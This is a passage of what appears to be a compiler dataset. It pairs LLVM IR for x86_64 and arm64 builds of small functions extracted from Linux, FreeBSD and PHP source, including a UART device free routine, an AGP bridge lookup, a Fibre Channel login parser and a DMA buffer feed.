"target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"comedi_insn", !8, i64 0, !8, i64 4} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !12, i64 0} !12 = !{!"any pointer", !9, i64 0} !13 = !{!14, !12, i64 0} !14 = !{!"TYPE_2__", !12, i64 0} !15 = !{!7, !8, i64 4} !16 = !{!8, !8, i64 0} !17 = distinct !{!17, !18} !18 = !{!"llvm.loop.mustprogress"}
fastsocket_kernel_drivers_staging_comedi_drivers_extr_s626.c_s626_ao_rinsn
; ModuleID = 'AnghaBench/linux/sound/drivers/extr_serial-u16550.c_snd_uart16550_dev_free.c' source_filename = "AnghaBench/linux/sound/drivers/extr_serial-u16550.c_snd_uart16550_dev_free.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @snd_uart16550_dev_free], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @snd_uart16550_dev_free(ptr nocapture noundef readonly %0) #0 { %2 = load ptr, ptr %0, align 8, !tbaa !5 %3 = tail call i32 @snd_uart16550_free(ptr noundef %2) #2 ret i32 %3 } declare i32 @snd_uart16550_free(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"snd_device", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/sound/drivers/extr_serial-u16550.c_snd_uart16550_dev_free.c' source_filename = "AnghaBench/linux/sound/drivers/extr_serial-u16550.c_snd_uart16550_dev_free.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @snd_uart16550_dev_free], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @snd_uart16550_dev_free(ptr nocapture noundef readonly %0) #0 { %2 = load ptr, ptr %0, align 8, !tbaa !6 %3 = tail call i32 @snd_uart16550_free(ptr noundef %2) #2 ret i32 %3 } declare i32 @snd_uart16550_free(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"snd_device", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
linux_sound_drivers_extr_serial-u16550.c_snd_uart16550_dev_free
; ModuleID = 'AnghaBench/freebsd/sys/dev/agp/extr_agp_i810.c_intel_gtt_get_bridge_device.c' source_filename = "AnghaBench/freebsd/sys/dev/agp/extr_agp_i810.c_intel_gtt_get_bridge_device.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @intel_agp = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i32 @intel_gtt_get_bridge_device() local_unnamed_addr #0 { %1 = load i32, ptr @intel_agp, align 4, !tbaa !5 %2 = tail call ptr @device_get_softc(i32 noundef %1) #2 %3 = load i32, ptr %2, align 4, !tbaa !9 ret i32 %3 } declare ptr @device_get_softc(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 0} !10 = !{!"agp_i810_softc", !6, i64 0}
; ModuleID = 'AnghaBench/freebsd/sys/dev/agp/extr_agp_i810.c_intel_gtt_get_bridge_device.c' source_filename = "AnghaBench/freebsd/sys/dev/agp/extr_agp_i810.c_intel_gtt_get_bridge_device.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @intel_agp = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @intel_gtt_get_bridge_device() local_unnamed_addr #0 { %1 = load i32, ptr @intel_agp, align 4, !tbaa !6 %2 = tail call ptr @device_get_softc(i32 noundef %1) #2 %3 = load i32, ptr %2, align 4, !tbaa !10 ret i32 %3 } declare ptr @device_get_softc(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"agp_i810_softc", !7, i64 0}
freebsd_sys_dev_agp_extr_agp_i810.c_intel_gtt_get_bridge_device
; ModuleID = 'AnghaBench/php-src/ext/openssl/extr_xp_ssl.c_php_openssl_sockop_write.c' source_filename = "AnghaBench/php-src/ext/openssl/extr_xp_ssl.c_php_openssl_sockop_write.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @php_openssl_sockop_write], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @php_openssl_sockop_write(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = tail call i32 @php_openssl_sockop_io(i32 noundef 0, ptr noundef %0, ptr noundef %1, i64 noundef %2) #2 ret i32 %4 } declare i32 @php_openssl_sockop_io(i32 noundef, ptr noundef, ptr noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/php-src/ext/openssl/extr_xp_ssl.c_php_openssl_sockop_write.c' source_filename = "AnghaBench/php-src/ext/openssl/extr_xp_ssl.c_php_openssl_sockop_write.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @php_openssl_sockop_write], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @php_openssl_sockop_write(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = tail call i32 @php_openssl_sockop_io(i32 noundef 0, ptr noundef %0, ptr noundef %1, i64 noundef %2) #2 ret i32 %4 } declare i32 @php_openssl_sockop_io(i32 noundef, ptr noundef, ptr noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
php-src_ext_openssl_extr_xp_ssl.c_php_openssl_sockop_write
; ModuleID = 'AnghaBench/linux/drivers/scsi/bfa/extr_bfa_fcbuild.c_fc_plogi_parse.c' source_filename = "AnghaBench/linux/drivers/scsi/bfa/extr_bfa_fcbuild.c_fc_plogi_parse.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.fchs_s = type { i32 } @FC_PARSE_FAILURE = dso_local local_unnamed_addr global i32 0, align 4 @FC_MIN_PDUSZ = dso_local local_unnamed_addr global i64 0, align 8 @FC_MAX_PDUSZ = dso_local local_unnamed_addr global i64 0, align 8 @FC_PARSE_OK = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i32 @fc_plogi_parse(ptr nocapture noundef readonly %0) local_unnamed_addr #0 { %2 = getelementptr inbounds %struct.fchs_s, ptr %0, i64 1 %3 = load i32, ptr %2, align 8, !tbaa !5 %4 = icmp eq i32 %3, 1 br i1 %4, label %5, label %20 5: ; preds = %1 %6 = getelementptr inbounds %struct.fchs_s, ptr %0, i64 3 %7 = load i64, ptr %6, align 8, !tbaa !12 %8 = tail call i64 @be16_to_cpu(i64 noundef %7) #2 %9 = load i64, ptr @FC_MIN_PDUSZ, align 8, !tbaa !13 %10 = icmp slt i64 %8, %9 br i1 %10, label %20, label %11 11: ; preds = %5 %12 = load i64, ptr %6, align 8, !tbaa !12 %13 = tail call i64 @be16_to_cpu(i64 noundef %12) #2 %14 = load i64, ptr @FC_MAX_PDUSZ, align 8, !tbaa !13 %15 = icmp sgt i64 %13, %14 br i1 %15, label %20, label %16 16: ; preds = %11 %17 = load i64, ptr %6, align 8, !tbaa !12 %18 = icmp eq i64 %17, 0 %19 = select i1 %18, ptr @FC_PARSE_FAILURE, ptr @FC_PARSE_OK br label %20 20: ; preds = %16, %5, %11, %1 %21 = phi ptr [ @FC_PARSE_FAILURE, %1 ], [ @FC_PARSE_FAILURE, %11 ], [ @FC_PARSE_FAILURE, %5 ], [ %19, %16 ] %22 = load i32, ptr %21, align 4, !tbaa !14 ret i32 %22 } declare i64 @be16_to_cpu(i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !8, i64 0} !6 = !{!"fc_logi_s", !7, i64 0} !7 = !{!"TYPE_2__", !8, i64 0, !11, i64 8} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"long", !9, i64 0} !12 = !{!6, !11, i64 8} !13 = !{!11, !11, i64 0} !14 = !{!8, !8, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/scsi/bfa/extr_bfa_fcbuild.c_fc_plogi_parse.c' source_filename = "AnghaBench/linux/drivers/scsi/bfa/extr_bfa_fcbuild.c_fc_plogi_parse.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @FC_PARSE_FAILURE = common local_unnamed_addr global i32 0, align 4 @FC_MIN_PDUSZ = common local_unnamed_addr global i64 0, align 8 @FC_MAX_PDUSZ = common local_unnamed_addr global i64 0, align 8 @FC_PARSE_OK = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @fc_plogi_parse(ptr nocapture noundef readonly %0) local_unnamed_addr #0 { %2 = getelementptr inbounds i8, ptr %0, i64 4 %3 = load i32, ptr %2, align 8, !tbaa !6 %4 = icmp eq i32 %3, 1 br i1 %4, label %5, label %20 5: ; preds = %1 %6 = getelementptr inbounds i8, ptr %0, i64 12 %7 = load i64, ptr %6, align 8, !tbaa !13 %8 = tail call i64 @be16_to_cpu(i64 noundef %7) #2 %9 = load i64, ptr @FC_MIN_PDUSZ, align 8, !tbaa !14 %10 = icmp slt i64 %8, %9 br i1 %10, label %20, label %11 11: ; preds = %5 %12 = load i64, ptr %6, align 8, !tbaa !13 %13 = tail call i64 @be16_to_cpu(i64 noundef %12) #2 %14 = load i64, ptr @FC_MAX_PDUSZ, align 8, !tbaa !14 %15 = icmp sgt i64 %13, %14 br i1 %15, label %20, label %16 16: ; preds = %11 %17 = load i64, ptr %6, align 8, !tbaa !13 %18 = icmp eq i64 %17, 0 %19 = select i1 %18, ptr @FC_PARSE_FAILURE, ptr @FC_PARSE_OK br label %20 20: ; preds = %16, %5, %11, %1 %21 = phi ptr [ @FC_PARSE_FAILURE, %1 ], [ @FC_PARSE_FAILURE, %11 ], [ @FC_PARSE_FAILURE, %5 ], [ %19, %16 ] %22 = load i32, ptr %21, align 4, !tbaa !15 ret i32 %22 } declare i64 @be16_to_cpu(i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !9, i64 0} !7 = !{!"fc_logi_s", !8, i64 0} !8 = !{!"TYPE_2__", !9, i64 0, !12, i64 8} !9 = !{!"int", !10, i64 0} !10 = !{!"omnipotent char", !11, i64 0} !11 = !{!"Simple C/C++ TBAA"} !12 = !{!"long", !10, i64 0} !13 = !{!7, !12, i64 8} !14 = !{!12, !12, i64 0} !15 = !{!9, !9, i64 0}
linux_drivers_scsi_bfa_extr_bfa_fcbuild.c_fc_plogi_parse
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/mach-ep93xx/extr_dma-m2p.c_feed_buf.c' source_filename = "AnghaBench/fastsocket/kernel/arch/arm/mach-ep93xx/extr_dma-m2p.c_feed_buf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.ep93xx_dma_buffer = type { i32, i32 } %struct.m2p_channel = type { i32, i64 } @M2P_MAXCNT0 = dso_local local_unnamed_addr global i64 0, align 8 @M2P_BASE0 = dso_local local_unnamed_addr global i64 0, align 8 @M2P_MAXCNT1 = dso_local local_unnamed_addr global i64 0, align 8 @M2P_BASE1 = dso_local local_unnamed_addr global i64 0, align 8 @llvm.compiler.used = appending global [1 x ptr] [ptr @feed_buf], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @feed_buf(ptr nocapture noundef %0, ptr nocapture noundef readonly %1) #0 { %3 = load i32, ptr %0, align 8, !tbaa !5 %4 = icmp eq i32 %3, 0 %5 = getelementptr inbounds %struct.ep93xx_dma_buffer, ptr %1, i64 0, i32 1 %6 = load i32, ptr %5, align 4, !tbaa !11 %7 = getelementptr inbounds %struct.m2p_channel, ptr %0, i64 0, i32 1 %8 = load i64, ptr %7, align 8, !tbaa !13 %9 = load i64, ptr @M2P_MAXCNT0, align 8 %10 = load i64, ptr @M2P_MAXCNT1, align 8 %11 = select i1 %4, i64 %9, i64 %10 %12 = add nsw i64 %11, %8 %13 = tail call i32 @writel(i32 noundef %6, i64 noundef %12) #2 %14 = load i32, ptr %1, align 4, !tbaa !14 %15 = load i64, ptr %7, align 8, !tbaa !13 %16 = load i64, ptr @M2P_BASE0, align 8 %17 = load i64, ptr @M2P_BASE1, align 8 %18 = select i1 %4, i64 %16, i64 %17 %19 = add nsw i64 %18, %15 %20 = tail call i32 @writel(i32 noundef %14, i64 noundef %19) #2 %21 = load i32, ptr %0, align 8, !tbaa !5 %22 = xor i32 %21, 1 store i32 %22, ptr %0, align 8, !tbaa !5 ret void } declare i32 @writel(i32 noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"m2p_channel", !7, i64 0, !10, i64 8} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"long", !8, i64 0} !11 = !{!12, !7, i64 4} !12 = !{!"ep93xx_dma_buffer", !7, i64 0, !7, i64 4} !13 = !{!6, !10, i64 8} !14 = !{!12, !7, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/mach-ep93xx/extr_dma-m2p.c_feed_buf.c' source_filename = "AnghaBench/fastsocket/kernel/arch/arm/mach-ep93xx/extr_dma-m2p.c_feed_buf.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @M2P_MAXCNT0 = common local_unnamed_addr global i64 0, align 8 @M2P_BASE0 = common local_unnamed_addr global i64 0, align 8 @M2P_MAXCNT1 = common local_unnamed_addr global i64 0, align 8 @M2P_BASE1 = common local_unnamed_addr global i64 0, align 8 @llvm.used = appending global [1 x ptr] [ptr @feed_buf], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @feed_buf(ptr nocapture noundef %0, ptr nocapture noundef readonly %1) #0 { %3 = load i32, ptr %0, align 8, !tbaa !6 %4 = icmp eq i32 %3, 0 %5 = getelementptr inbounds i8, ptr %1, i64 4 %6 = load i32, ptr %5, align 4, !tbaa !12 %7 = getelementptr inbounds i8, ptr %0, i64 8 %8 = load i64, ptr %7, align 8, !tbaa !14 %9 = load i64, ptr @M2P_MAXCNT0, align 8 %10 = load i64, ptr @M2P_MAXCNT1, align 8 %11 = select i1 %4, i64 %9, i64 %10 %12 = add nsw i64 %11, %8 %13 = tail call i32 @writel(i32 noundef %6, i64 noundef %12) #2 %14 = load i32, ptr %1, align 4, !tbaa !15 %15 = load i64, ptr %7, align 8, !tbaa !14 %16 = load i64, ptr @M2P_BASE0, align 8 %17 = load i64, ptr @M2P_BASE1, align 8 %18 = select i1 %4, i64 %16, i64 %17 %19 = add nsw i64 %18, %15 %20 = tail call i32 @writel(i32 noundef %14, i64 noundef %19) #2 %21 = load i32, ptr %0, align 8, !tbaa !6 %22 = xor i32 %21, 1 store i32 %22, ptr %0, align 8, !tbaa !6 ret void } declare i32 @writel(i32 noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, 